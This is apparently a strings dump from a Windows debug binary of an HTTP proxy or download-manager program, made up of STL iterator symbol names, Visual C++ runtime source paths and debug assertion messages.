std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator

std::vector<class CachedBuffer,class std::allocator<class CachedBuffer> >::operator []

std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator ==

std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator

std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator ==

std::_Deque_const_iterator<class RequestInfo *,class std::allocator<class RequestInfo *> >::operator *

std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator *

std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator

std::_Deque_const_iterator<enum LightXML::ParseState,class std::allocator<enum LightXML::ParseState> >::operator *

std::_Deque_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator *

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator *

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator --

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator *

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator --

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator *

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator --

f:\dd\vctools\crt_bld\self_x86\crt\src\xstring

f:\dd\vctools\crt_bld\self_x86\crt\src\streambuf

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator *

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator  =

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator  =

cf:\dd\vctools\crt_bld\self_x86\crt\src\dbgdel.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\sprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c

_CrtCheckMemory()

_CrtIsValidHeapPointer(pUserData)

_CrtSetDbgFlag

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)

_CrtMemCheckpoint

f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c

wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)

wcscpy_s(szExeName, 260, L"<program name unknown>")

__crtMessageWindowW

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h

("Corrupted pointer passed to _freea", 0)

f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c

mscoree.dll

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsrchr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcat.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strlwr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\sscanf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\access.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\memicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c

f:\dd\vctools\crt_bld\self_x86\crt\src\bsearch.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c

strcpy_s(errmsg, (94 38 2), _get_sys_err_msg(errnum))

.sizeInTChars > 0

f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c

("Invalid MBCS character sequence passed to strftime",0)

("Invalid MBCS character sequence passed into strftime",0)

f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")

wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")

_NMSG_WRITE

f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c

strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")

strcpy_s(szExeName, 260, "<program name unknown>")

__crtMessageWindowA

f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c

f:\dd\vctools\crt_bld\self_x86\crt\src\localref.c

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))

KERNEL32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c

wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")

strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportA

strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")

wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportW

f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c

WUSER32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\close.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.c

f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsbtype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\write.c

f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fstat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\open.c

0 && "Only UTF-16 little endian & UTF-8 is supported for reads"

f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscspn.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c

_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2

f:\dd\vctools\crt_bld\self_x86\crt\src\strtok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c

strcpy_s(resultstr, resultsize, autofos.man)

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c

("CRT Logic error during setenv",0)

__crtsetenv

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --

\\.\jsdrv1486

stproxy.cpp

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xstring

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\list

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator ==

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\vector

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xtree

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator --

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator --

